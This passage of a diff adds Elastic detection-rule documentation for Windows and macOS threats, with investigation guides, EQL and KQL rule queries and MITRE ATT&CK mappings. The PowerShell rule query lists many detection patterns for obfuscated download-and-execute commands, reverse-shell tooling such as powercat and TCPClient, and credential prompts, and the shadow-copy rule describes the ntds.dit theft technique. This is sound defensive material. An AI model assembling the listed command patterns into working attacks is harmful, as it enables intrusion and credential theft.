purposes, which can include obfuscation techniques. Validate the developer's activities and exclude their specific development environments or scripts from the rule. + + +*Response and remediation* + + +- Immediately isolate the affected system from the network to prevent further spread or communication with potential command and control servers. +- Terminate any suspicious PowerShell processes identified by the detection rule to halt ongoing malicious activities. +- Conduct a thorough scan of the affected system using updated antivirus or endpoint detection and response (EDR) tools to identify and remove any malicious payloads or scripts. +- Review and clean up any unauthorized changes to system configurations or scheduled tasks that may have been altered by the malicious PowerShell activity. +- Restore any affected files or system components from known good backups to ensure system integrity and functionality. +- Escalate the incident to the security operations center (SOC) or incident response team for further analysis and to determine if additional systems are compromised. +- Implement additional monitoring and logging for PowerShell activities across the network to enhance detection of similar threats in the future. + +==== Rule query + + +[source, js] +---------------------------------- +process where host.os.type == "windows" and event.type == "start" and + process.name : "powershell.exe" and + + not ( + ?user.id == "S-1-5-18" and + /* Don't apply the user.id exclusion to Sysmon for compatibility */ + not event.dataset : ("windows.sysmon_operational", "windows.sysmon") + ) and + + not process.parent.executable : ( + "?:\\Program Files\\*.exe", + "?:\\Program Files (x86)\\*.exe" + ) and + + ( + process.command_line : ( + "*^*^*^*^*^*^*^*^*^*", + "*`*`*`*`*", + "*+*+*+*+*+*+*", + "*[char[]](*)*-join*", + "*Base64String*", + "*[*Convert]*", + "*.Compression.*", + "*-join($*", + "*.replace*", + "*MemoryStream*", + "*WriteAllBytes*", + "* -enc *", + "* -ec *", + "* /e *", + "* /enc *", + "* /ec *", + "*WebClient*", + "*DownloadFile*", + "*DownloadString*", + "* iex*", + "* iwr*", + "* aQB3AHIAIABpA*", + "*Reflection.Assembly*", + "*Assembly.GetType*", + "*$env:temp\\*start*", + "*powercat*", + "*nslookup -q=txt*", + "*$host.UI.PromptForCredential*", + "*Net.Sockets.TCPClient*", + "*curl *;Start*", + "powershell.exe \"<#*", + "*ssh -p *", + "*http*|iex*", + "*@SSL\\DavWWWRoot\\*.ps1*", + "*.lnk*.Seek(0x*", + "*[string]::join(*", + "*[Array]::Reverse($*", + "* hidden $(gc *", + "*=wscri& set*", + "*http'+'s://*", + "*.content|i''Ex*", + "*//:sptth*", + "*//:ptth*", + "*h''t''t''p*", + "*'tp'':''/'*", + "*$env:T\"E\"MP*", + "*;cmd /c $?", + "*s''t''a''r*", + "*$*=Get-Content*AppData*.SubString(*$*", + "*=cat *AppData*.substring(*);*$*", + "*-join'';*|powershell*", + "*.Content;sleep *|powershell*", + "*h\''t\''tp:\''*", + "*-e aQB3AHIAIABp*", + "*iwr *https*).Content*", + "*$env:computername*http*", + "*;InVoKe-ExpRESsIoN $COntent.CONTENt;*", + "*WebClient*example.com*", + "*=iwr $*;iex $*", + "*ServerXmlHttp*IEX*", + "*XmlDocument*IEX*" + ) or + + (process.args : "-c" and process.args : "&{'*") or + + (process.args : "-Outfile" and process.args : "Start*") or + + (process.args : "-bxor" and process.args : "0x*") or + + process.args : "$*$*;set-alias" or + + process.args == "-e" or + + // ATHPowerShellCommandLineParameter + process.args : ("-EncodedCommandParamVariation", "-UseEncodedArguments", "-CommandParamVariation") or + + ( + process.parent.name : ("explorer.exe", "cmd.exe") and + process.command_line : ("*-encodedCommand*", "*Invoke-webrequest*", "*WebClient*", "*Reflection.Assembly*")) + ) and + not process.command_line : ( + "*Use-Icinga -Minimal*", + "*& {$j = sajb {Add-Type -AssemblyName*" + ) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Execution +** ID: TA0002 +** Reference URL: https://attack.mitre.org/tactics/TA0002/ +* Technique: +** Name: Command and Scripting Interpreter +** ID: T1059 +** Reference URL: https://attack.mitre.org/techniques/T1059/ +* Sub-technique: +** Name: PowerShell +** ID: T1059.001 +** Reference URL: https://attack.mitre.org/techniques/T1059/001/ +* Tactic: +** Name: Command and Control +** ID: TA0011 +** Reference URL: https://attack.mitre.org/tactics/TA0011/ +* Technique: +** Name: Ingress Tool Transfer +** ID: T1105 +** Reference URL: https://attack.mitre.org/techniques/T1105/ +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Obfuscated Files or Information +** ID: T1027 +** Reference URL: https://attack.mitre.org/techniques/T1027/ +* Sub-technique: +** Name: Command Obfuscation +** ID: T1027.010 +** Reference URL: https://attack.mitre.org/techniques/T1027/010/ +* Technique: +** Name: Deobfuscate/Decode Files or Information +** ID: T1140 +** Reference URL: https://attack.mitre.org/techniques/T1140/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-suspicious-wmic-xsl-script-execution.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-suspicious-wmic-xsl-script-execution.asciidoc new file mode 100644 index 0000000000..c77eb93c6c --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-suspicious-wmic-xsl-script-execution.asciidoc @@ -0,0 +1,132 @@ +[[prebuilt-rule-8-19-20-suspicious-wmic-xsl-script-execution]] +=== Suspicious WMIC XSL Script Execution + +Identifies WMIC allowlist bypass techniques by alerting on suspicious execution of scripts. When WMIC loads scripting libraries it may be indicative of an allowlist bypass. + +*Rule type*: eql + +*Rule indices*: + +* winlogbeat-* +* logs-endpoint.events.process-* +* logs-endpoint.events.library-* +* logs-windows.sysmon_operational-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: None + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Defense Evasion +* Tactic: Execution +* Data Source: Elastic Defend +* Data Source: Sysmon +* Resources: Investigation Guide + +*Version*: 213 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Suspicious WMIC XSL Script Execution* + + +Windows Management Instrumentation Command-line (WMIC) is a powerful tool for managing Windows systems. Adversaries exploit WMIC to bypass security measures by executing scripts via XSL files, often loading scripting libraries like jscript.dll or vbscript.dll. The detection rule identifies such suspicious activities by monitoring WMIC executions with atypical arguments and the loading of specific libraries, indicating potential misuse for defense evasion. + + +*Possible investigation steps* + + +- Review the process execution details to confirm the presence of WMIC.exe or wmic.exe with suspicious arguments such as "format*:*", "/format*:*", or "*-format*:*" that deviate from typical usage patterns. +- Examine the command line used in the process execution to identify any unusual or unexpected parameters that could indicate malicious intent, excluding known benign patterns like "* /format:table *". +- Investigate the sequence of events to determine if there was a library or process event involving the loading of jscript.dll or vbscript.dll, which may suggest script execution through XSL files. +- Correlate the process.entity_id with other related events within the 2-minute window to identify any additional suspicious activities or processes that may have been spawned as a result of the initial execution. +- Check the parent process of the suspicious WMIC execution to understand the context and origin of the activity, which may provide insights into whether it was initiated by a legitimate application or a potentially malicious actor. +- Analyze the host's recent activity and security logs for any other indicators of compromise or related suspicious behavior that could be part of a broader attack campaign. + + +*False positive analysis* + + +- Legitimate administrative tasks using WMIC with custom scripts may trigger alerts. Review the command line arguments and context to determine if the execution is part of routine system management. +- Automated scripts or software updates that utilize WMIC for legitimate purposes might load scripting libraries like jscript.dll or vbscript.dll. Identify these processes and consider adding them to an allowlist to prevent future false positives. +- Security tools or monitoring solutions that use WMIC for system checks can be mistaken for suspicious activity. Verify the source and purpose of the execution and exclude these known tools from triggering alerts. +- Scheduled tasks or maintenance scripts that use WMIC with non-standard arguments could be flagged. Document these tasks and create exceptions for their specific command line patterns to reduce noise. +- Custom applications developed in-house that rely on WMIC for functionality may inadvertently match the detection criteria. Work with development teams to understand these applications and adjust the detection rule to accommodate their legitimate use cases. + + +*Response and remediation* + + +- Isolate the affected system from the network to prevent further malicious activity and lateral movement. +- Terminate any suspicious WMIC processes identified by the alert to stop ongoing malicious script execution. +- Conduct a thorough review of the system's recent activity logs to identify any additional indicators of compromise or related malicious activities. +- Remove any unauthorized or suspicious XSL files and associated scripts from the system to prevent re-execution. +- Restore the system from a known good backup if any critical system files or configurations have been altered. +- Update and patch the system to the latest security standards to close any vulnerabilities that may have been exploited. +- Escalate the incident to the security operations center (SOC) or incident response team for further investigation and to determine if additional systems are affected. + +==== Rule query + + +[source, js] +---------------------------------- +sequence by process.entity_id with maxspan = 2m +[process where host.os.type == "windows" and event.type == "start" and + (process.name : "WMIC.exe" or process.pe.original_file_name : "wmic.exe") and + process.args : ("format*:*", "/format*:*", "*-format*:*") and + not process.command_line : ("* /format:table *", "* /format:table")] +[any where host.os.type == "windows" and (event.category == "library" or (event.category == "process" and event.action : "Image loaded*")) and + (?dll.name : ("jscript.dll", "vbscript.dll") or file.name : ("jscript.dll", "vbscript.dll"))] + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: System Binary Proxy Execution +** ID: T1218 +** Reference URL: https://attack.mitre.org/techniques/T1218/ +* Technique: +** Name: XSL Script Processing +** ID: T1220 +** Reference URL: https://attack.mitre.org/techniques/T1220/ +* Tactic: +** Name: Execution +** ID: TA0002 +** Reference URL: https://attack.mitre.org/tactics/TA0002/ +* Technique: +** Name: Windows Management Instrumentation +** ID: T1047 +** Reference URL: https://attack.mitre.org/techniques/T1047/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-suspicious-zoom-child-process.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-suspicious-zoom-child-process.asciidoc new file mode 100644 index 0000000000..e649955517 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-suspicious-zoom-child-process.asciidoc @@ -0,0 +1,165 @@ +[[prebuilt-rule-8-19-20-suspicious-zoom-child-process]] +=== Suspicious Zoom Child Process + +A suspicious Zoom child process was detected, which may indicate an attempt to run unnoticed. Verify process details such as command line, network connections, file writes and associated file signature details as well. + +*Rule type*: eql + +*Rule indices*: + +* endgame-* +* logs-crowdstrike.fdr* +* logs-endpoint.events.process-* +* logs-m365_defender.event-* +* logs-sentinel_one_cloud_funnel.* +* logs-system.security* +* logs-windows.forwarded* +* logs-windows.sysmon_operational-* +* winlogbeat-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: None + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Defense Evasion +* Tactic: Execution +* Data Source: Elastic Endgame +* Resources: Investigation Guide +* Data Source: Elastic Defend +* Data Source: SentinelOne +* Data Source: Microsoft Defender for Endpoint +* Data Source: Windows Security Event Logs +* Data Source: Crowdstrike +* Data Source: Sysmon + +*Version*: 421 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Suspicious Zoom Child Process* + + +By examining the specific traits of Windows binaries -- such as process trees, command lines, network connections, registry modifications, and so on -- it's possible to establish a baseline of normal activity. Deviations from this baseline can indicate malicious activity, such as masquerading, and deserve further investigation. + +This rule identifies a potential malicious process masquerading as `Zoom.exe` or exploiting a vulnerability in the application causing it to execute code. + +> **Note**: +> This investigation guide uses the https://www.elastic.co/guide/en/security/current/invest-guide-run-osquery.html[Osquery Markdown Plugin] introduced in Elastic Stack version 8.5.0. Older Elastic Stack versions will display unrendered Markdown in this guide. + + +*Possible investigation steps* + + +- Investigate the process execution chain (parent process tree) for unknown processes. Examine their executable files for prevalence, whether they are located in expected locations, and if they are signed with valid digital signatures. +- Investigate other alerts associated with the user/host during the past 48 hours. +- Investigate any abnormal behavior by the subject process such as network connections, registry or file modifications, and any spawned child processes. +- Examine the command line of the child process to determine which commands or scripts were executed. +- Examine the host for derived artifacts that indicate suspicious activities: + - Analyze the process executable using a private sandboxed analysis system. + - Observe and collect information about the following activities in both the sandbox and the alert subject host: + - Attempts to contact external domains and addresses. + - Use the Elastic Defend network events to determine domains and addresses contacted by the subject process by filtering by the process' `process.entity_id`. + - Examine the DNS cache for suspicious or anomalous entries. + - !{osquery{"label":"Osquery - Retrieve DNS Cache","query":"SELECT * FROM dns_cache"}} + - Use the Elastic Defend registry events to examine registry keys accessed, modified, or created by the related processes in the process tree. + - Examine the host services for suspicious or anomalous entries. + - !{osquery{"label":"Osquery - Retrieve All Services","query":"SELECT description, display_name, name, path, pid, service_type, start_type, status, user_account FROM services"}} + - !{osquery{"label":"Osquery - Retrieve Services Running on User Accounts","query":"SELECT description, display_name, name, path, pid, service_type, start_type, status, user_account FROM services WHERE\nNOT (user_account LIKE '%LocalSystem' OR user_account LIKE '%LocalService' OR user_account LIKE '%NetworkService' OR\nuser_account == null)\n"}} + - !{osquery{"label":"Osquery - Retrieve Service Unsigned Executables with Virustotal Link","query":"SELECT concat('https://www.virustotal.com/gui/file/', sha1) AS VtLink, name, description, start_type, status, pid,\nservices.path FROM services JOIN authenticode ON services.path = authenticode.path OR services.module_path =\nauthenticode.path JOIN hash ON services.path = hash.path WHERE authenticode.result != 'trusted'\n"}} + - Retrieve the files' SHA-256 hash values using the PowerShell `Get-FileHash` cmdlet and search for the existence and reputation of the hashes in resources like VirusTotal, Hybrid-Analysis, CISCO Talos, Any.run, etc. +- Assess whether this behavior is prevalent in the environment by looking for similar occurrences across hosts. + + + +*False positive analysis* + + +- This activity is unlikely to happen legitimately. Benign true positives (B-TPs) can be added as exceptions if necessary. + + +*Response and remediation* + + +- Initiate the incident response process based on the outcome of the triage. +- Isolate the involved host to prevent further post-compromise behavior. +- If the triage identified malware, search the environment for additional compromised hosts. + - Implement temporary network rules, procedures, and segmentation to contain the malware. + - Stop suspicious processes. + - Immediately block the identified indicators of compromise (IoCs). + - Inspect the affected systems for additional malware backdoors like reverse shells, reverse proxies, or droppers that attackers could use to reinfect the system. +- Remove and block malicious artifacts identified during triage. +- Run a full antimalware scan. This may reveal additional artifacts left in the system, persistence mechanisms, and malware components. +- Determine the initial vector abused by the attacker and take action to prevent reinfection through the same vector. +- Using the incident response data, update logging and audit policies to improve the mean time to detect (MTTD) and the mean time to respond (MTTR). + + +==== Rule query + + +[source, js] +---------------------------------- +process where host.os.type == "windows" and event.type == "start" and + process.parent.name : "Zoom.exe" and process.name : ("cmd.exe", "powershell.exe", "pwsh.exe", "powershell_ise.exe") + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Masquerading +** ID: T1036 +** Reference URL: https://attack.mitre.org/techniques/T1036/ +* Technique: +** Name: Process Injection +** ID: T1055 +** Reference URL: https://attack.mitre.org/techniques/T1055/ +* Tactic: +** Name: Execution +** ID: TA0002 +** Reference URL: https://attack.mitre.org/tactics/TA0002/ +* Technique: +** Name: Command and Scripting Interpreter +** ID: T1059 +** Reference URL: https://attack.mitre.org/techniques/T1059/ +* Sub-technique: +** Name: PowerShell +** ID: T1059.001 +** Reference URL: https://attack.mitre.org/techniques/T1059/001/ +* Sub-technique: +** Name: Windows Command Shell +** ID: T1059.003 +** Reference URL: https://attack.mitre.org/techniques/T1059/003/ +* Technique: +** Name: Exploitation for Client Execution +** ID: T1203 +** Reference URL: https://attack.mitre.org/techniques/T1203/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-svchost-spawning-cmd.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-svchost-spawning-cmd.asciidoc new file mode 100644 index 0000000000..5964e58143 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-svchost-spawning-cmd.asciidoc @@ -0,0 +1,149 @@ +[[prebuilt-rule-8-19-20-svchost-spawning-cmd]] +=== Svchost spawning Cmd + +Identifies a suspicious parent child process relationship with cmd.exe descending from svchost.exe + +*Rule type*: new_terms + +*Rule indices*: + +* logs-endpoint.events.process-* +* winlogbeat-* +* logs-windows.forwarded* +* logs-windows.sysmon_operational-* +* endgame-* +* logs-system.security* +* logs-m365_defender.event-* +* logs-sentinel_one_cloud_funnel.* + +*Severity*: low + +*Risk score*: 21 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://nasbench.medium.com/demystifying-the-svchost-exe-process-and-its-command-line-options-508e9114e747 + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Execution +* Resources: Investigation Guide +* Data Source: Elastic Endgame +* Data Source: Elastic Defend +* Data Source: Windows Security Event Logs +* Data Source: Microsoft Defender for Endpoint +* Data Source: Sysmon +* Data Source: SentinelOne + +*Version*: 426 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Svchost spawning Cmd* + + +The Service Host process (SvcHost) is a system process that can host one, or multiple, Windows services in the Windows NT family of operating systems. Note that `Svchost.exe` is reserved for use by the operating system and should not be used by non-Windows services. + +This rule looks for the creation of the `cmd.exe` process with `svchost.exe` as its parent process. This is an unusual behavior that can indicate the masquerading of a malicious process as `svchost.exe` or exploitation for privilege escalation. + +> **Note**: +> This investigation guide uses the https://www.elastic.co/guide/en/security/current/invest-guide-run-osquery.html[Osquery Markdown Plugin] introduced in Elastic Stack version 8.5.0. Older Elastic Stack versions will display unrendered Markdown in this guide. + + +*Possible investigation steps* + + +- Investigate the process execution chain (parent process tree) for unknown processes. Examine their executable files for prevalence, whether they are located in expected locations, and if they are signed with valid digital signatures. +- Investigate other alerts associated with the user/host during the past 48 hours. +- Investigate any abnormal behavior by the subject process such as network connections, registry or file modifications, and any spawned child processes. +- Examine the host for derived artifacts that indicate suspicious activities: + - Analyze the process executable using a private sandboxed analysis system. + - Observe and collect information about the following activities in both the sandbox and the alert subject host: + - Attempts to contact external domains and addresses. + - Use the Elastic Defend network events to determine domains and addresses contacted by the subject process by filtering by the process' `process.entity_id`. + - Examine the DNS cache for suspicious or anomalous entries. + - !{osquery{"label":"Osquery - Retrieve DNS Cache","query":"SELECT * FROM dns_cache"}} + - Use the Elastic Defend registry events to examine registry keys accessed, modified, or created by the related processes in the process tree. + - Examine the host services for suspicious or anomalous entries. + - !{osquery{"label":"Osquery - Retrieve All Services","query":"SELECT description, display_name, name, path, pid, service_type, start_type, status, user_account FROM services"}} + - !{osquery{"label":"Osquery - Retrieve Services Running on User Accounts","query":"SELECT description, display_name, name, path, pid, service_type, start_type, status, user_account FROM services WHERE\nNOT (user_account LIKE '%LocalSystem' OR user_account LIKE '%LocalService' OR user_account LIKE '%NetworkService' OR\nuser_account == null)\n"}} + - !{osquery{"label":"Osquery - Retrieve Service Unsigned Executables with Virustotal Link","query":"SELECT concat('https://www.virustotal.com/gui/file/', sha1) AS VtLink, name, description, start_type, status, pid,\nservices.path FROM services JOIN authenticode ON services.path = authenticode.path OR services.module_path =\nauthenticode.path JOIN hash ON services.path = hash.path WHERE authenticode.result != 'trusted'\n"}} + - Retrieve the files' SHA-256 hash values using the PowerShell `Get-FileHash` cmdlet and search for the existence and reputation of the hashes in resources like VirusTotal, Hybrid-Analysis, CISCO Talos, Any.run, etc. +- Investigate potentially compromised accounts. Analysts can do this by searching for login events (for example, 4624) to the target host after the registry modification. + + + +*False positive analysis* + + +- This activity is unlikely to happen legitimately. Benign true positives (B-TPs) can be added as exceptions if necessary. + + +*Response and remediation* + + +- Initiate the incident response process based on the outcome of the triage. +- Isolate the involved host to prevent further post-compromise behavior. +- If the triage identified malware, search the environment for additional compromised hosts. + - Implement temporary network rules, procedures, and segmentation to contain the malware. + - Stop suspicious processes. + - Immediately block the identified indicators of compromise (IoCs). + - Inspect the affected systems for additional malware backdoors like reverse shells, reverse proxies, or droppers that attackers could use to reinfect the system. +- Remove and block malicious artifacts identified during triage. +- Run a full antimalware scan. This may reveal additional artifacts left in the system, persistence mechanisms, and malware components. +- Determine the initial vector abused by the attacker and take action to prevent reinfection through the same vector. +- Using the incident response data, update logging and audit policies to improve the mean time to detect (MTTD) and the mean time to respond (MTTR). + + +==== Rule query + + +[source, js] +---------------------------------- +host.os.type:windows and event.category:process and event.type:start and process.parent.name:svchost.exe and +process.name:(CMD.EXE or Cmd.exe or cmd.exe) and +process.command_line:(* and not "\"cmd.exe\" /C sc control hptpsmarthealthservice 211") and +not process.args:(".\inetsrv\iissetup.exe /keygen " or "C:\Program" or "C:\Program Files (x86)\Kaspersky Lab\NetworkAgent\klmover.exe" or "C:\Program Files (x86)\Sentry\SA\adluminupdater.exe" or "C:\Program Files\WinRAR" or "C:\Program Files\WinRAR\uninstall.exe" or "hpdiags://BatteryStatusTest" or hptpsmarthealthservice or icacls or taskkill or w32tm or *.BAT* or *.CMD* or *.bat* or *.cmd*) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Execution +** ID: TA0002 +** Reference URL: https://attack.mitre.org/tactics/TA0002/ +* Technique: +** Name: Command and Scripting Interpreter +** ID: T1059 +** Reference URL: https://attack.mitre.org/techniques/T1059/ +* Technique: +** Name: System Services +** ID: T1569 +** Reference URL: https://attack.mitre.org/techniques/T1569/ +* Sub-technique: +** Name: Service Execution +** ID: T1569.002 +** Reference URL: https://attack.mitre.org/techniques/T1569/002/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-symbolic-link-to-shadow-copy-created.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-symbolic-link-to-shadow-copy-created.asciidoc new file mode 100644 index 0000000000..05cecaf9c3 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-symbolic-link-to-shadow-copy-created.asciidoc @@ -0,0 +1,183 @@ +[[prebuilt-rule-8-19-20-symbolic-link-to-shadow-copy-created]] +=== Symbolic Link to Shadow Copy Created + +Identifies the creation of symbolic links to a shadow copy. Symbolic links can be used to access files in the shadow copy, including sensitive files such as ntds.dit, System Boot Key and browser offline credentials. + +*Rule type*: eql + +*Rule indices*: + +* endgame-* +* logs-crowdstrike.fdr* +* logs-endpoint.events.process-* +* logs-m365_defender.event-* +* logs-sentinel_one_cloud_funnel.* +* logs-system.security* +* logs-windows.forwarded* +* logs-windows.sysmon_operational-* +* winlogbeat-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/mklink +* https://2017.zeronights.org/wp-content/uploads/materials/ZN17_Kheirkhabarov_Hunting_for_Credentials_Dumping_in_Windows_Environment.pdf +* https://blog.netwrix.com/2021/11/30/extracting-password-hashes-from-the-ntds-dit-file/ +* https://www.hackingarticles.in/credential-dumping-ntds-dit/ + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Credential Access +* Resources: Investigation Guide +* Data Source: Elastic Endgame +* Data Source: Elastic Defend +* Data Source: Windows Security Event Logs +* Data Source: Microsoft Defender for Endpoint +* Data Source: Sysmon +* Data Source: SentinelOne +* Data Source: Crowdstrike + +*Version*: 317 + +*Rule authors*: + +* Elastic +* Austin Songer + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Symbolic Link to Shadow Copy Created* + + +Shadow copies are backups or snapshots of an endpoint's files or volumes while they are in use. Adversaries may attempt to discover and create symbolic links to these shadow copies in order to copy sensitive information offline. If Active Directory (AD) is in use, often the ntds.dit file is a target as it contains password hashes, but an offline copy is needed to extract these hashes and potentially conduct lateral movement. + + +*Possible investigation steps* + + +- Identify the user account that performed the action and whether it should perform this kind of action. +- Investigate the process execution chain (parent process tree) for unknown processes. Examine their executable files for prevalence, whether they are located in expected locations, and if they are signed with valid digital signatures. +- Investigate other alerts associated with the user/host during the past 48 hours. +- Determine if a volume shadow copy was recently created on this endpoint. +- Review privileges of the end user as this requires administrative access. +- Verify if the ntds.dit file was successfully copied and determine its copy destination. +- Investigate for registry SYSTEM file copies made recently or saved via Reg.exe. +- Investigate recent deletions of volume shadow copies. +- Identify other files potentially copied from volume shadow copy paths directly. + + +*False positive analysis* + + +- This rule should cause very few false positives. Benign true positives (B-TPs) can be added as exceptions if necessary. + + +*Related rules* + + +- NTDS or SAM Database File Copied - 3bc6deaa-fbd4-433a-ae21-3e892f95624f + + +*Response and remediation* + + +- Initiate the incident response process based on the outcome of the triage. +- Investigate credential exposure on systems compromised or used by the attacker to ensure all compromised accounts are identified. Reset passwords for these accounts and other potentially compromised credentials, such as email, business systems, and web services. +- If the entire domain or the `krbtgt` user was compromised: + - Activate your incident response plan for total Active Directory compromise which should include, but not be limited to, a password reset (twice) of the `krbtgt` user. +- Locate and remove static files copied from volume shadow copies. +- Command-Line tool mklink should require administrative access by default unless in developer mode. +- Run a full antimalware scan. This may reveal additional artifacts left in the system, persistence mechanisms, and malware components. +- Determine the initial vector abused by the attacker and take action to prevent reinfection through the same vector. +- Using the incident response data, update logging and audit policies to improve the mean time to detect (MTTD) and the mean time to respond (MTTR). + + +==== Setup + + + +*Setup* + + +Ensure advanced audit policies for Windows are enabled, specifically: +Object Access policies https://docs.microsoft.com/en-us/windows/security/threat-protection/auditing/event-4656[Event ID 4656] (Handle to an Object was Requested) + +``` +Computer Configuration > +Policies > +Windows Settings > +Security Settings > +Advanced Audit Policies Configuration > +System Audit Policies > +Object Access > +Audit File System (Success,Failure) +Audit Handle Manipulation (Success,Failure) +``` + +This event will only trigger if symbolic links are created from a new process spawning cmd.exe or powershell.exe with the correct arguments. +Direct access to a shell and calling symbolic link creation tools will not generate an event matching this rule. + + +==== Rule query + + +[source, js] +---------------------------------- +process where host.os.type == "windows" and event.type == "start" and + ( + (?process.pe.original_file_name in ("Cmd.Exe","PowerShell.EXE")) or + (process.name : ("cmd.exe", "powershell.exe")) + ) and + + /* Create Symbolic Link to Shadow Copies */ + process.args : ("*mklink*", "*SymbolicLink*") and process.command_line : ("*HarddiskVolumeShadowCopy*") + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Credential Access +** ID: TA0006 +** Reference URL: https://attack.mitre.org/tactics/TA0006/ +* Technique: +** Name: OS Credential Dumping +** ID: T1003 +** Reference URL: https://attack.mitre.org/techniques/T1003/ +* Sub-technique: +** Name: Security Account Manager +** ID: T1003.002 +** Reference URL: https://attack.mitre.org/techniques/T1003/002/ +* Sub-technique: +** Name: NTDS +** ID: T1003.003 +** Reference URL: https://attack.mitre.org/techniques/T1003/003/ +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Direct Volume Access +** ID: T1006 +** Reference URL: https://attack.mitre.org/techniques/T1006/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-system-and-network-configuration-check.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-system-and-network-configuration-check.asciidoc new file mode 100644 index 0000000000..89e224a0f1 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-system-and-network-configuration-check.asciidoc @@ -0,0 +1,111 @@ +[[prebuilt-rule-8-19-20-system-and-network-configuration-check]] +=== System and Network Configuration Check + +Detects when the SystemConfiguration preferences plist file is accessed by an unusual or suspicious process. This may indicate an attempt to gain situational awareness on a target system by reading network configuration details. + +*Rule type*: eql + +*Rule indices*: + +* logs-endpoint.events.file-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: None + +*Tags*: + +* Domain: Endpoint +* OS: macOS +* Use Case: Threat Detection +* Tactic: Discovery +* Data Source: Elastic Defend +* Resources: Investigation Guide + +*Version*: 2 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + ## Triage and analysis + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating System and Network Configuration Check* + + +This rule flags suspicious processes reading macOS SystemConfiguration preferences, which can reveal network interfaces, DNS settings, and other environment details used to plan lateral movement or data exfiltration. Attackers commonly run scripting runtimes (e.g., Python, AppleScript, Node) or binaries staged in temporary/shared directories to open the preferences plist during early discovery. Catching this access helps identify stealthy reconnaissance before overt network activity begins. + + +*Possible investigation steps* + + +- Identify the parent process and full execution chain for the accessing process, including any script path/arguments, to determine whether it was launched by an interactive user, management tooling, or a suspicious launcher. +- Review the accessing binary’s provenance by checking code signature/notarization status, file hash reputation, and whether it was recently created or executed from temporary/shared directories indicating staging. +- Correlate nearby discovery activity on the host (e.g., reads of other system/network plists, execution of `scutil`, `ifconfig`, `networksetup`, or `defaults read`) to assess whether this is part of a broader reconnaissance sequence. +- Examine concurrent network activity from the same process (outbound 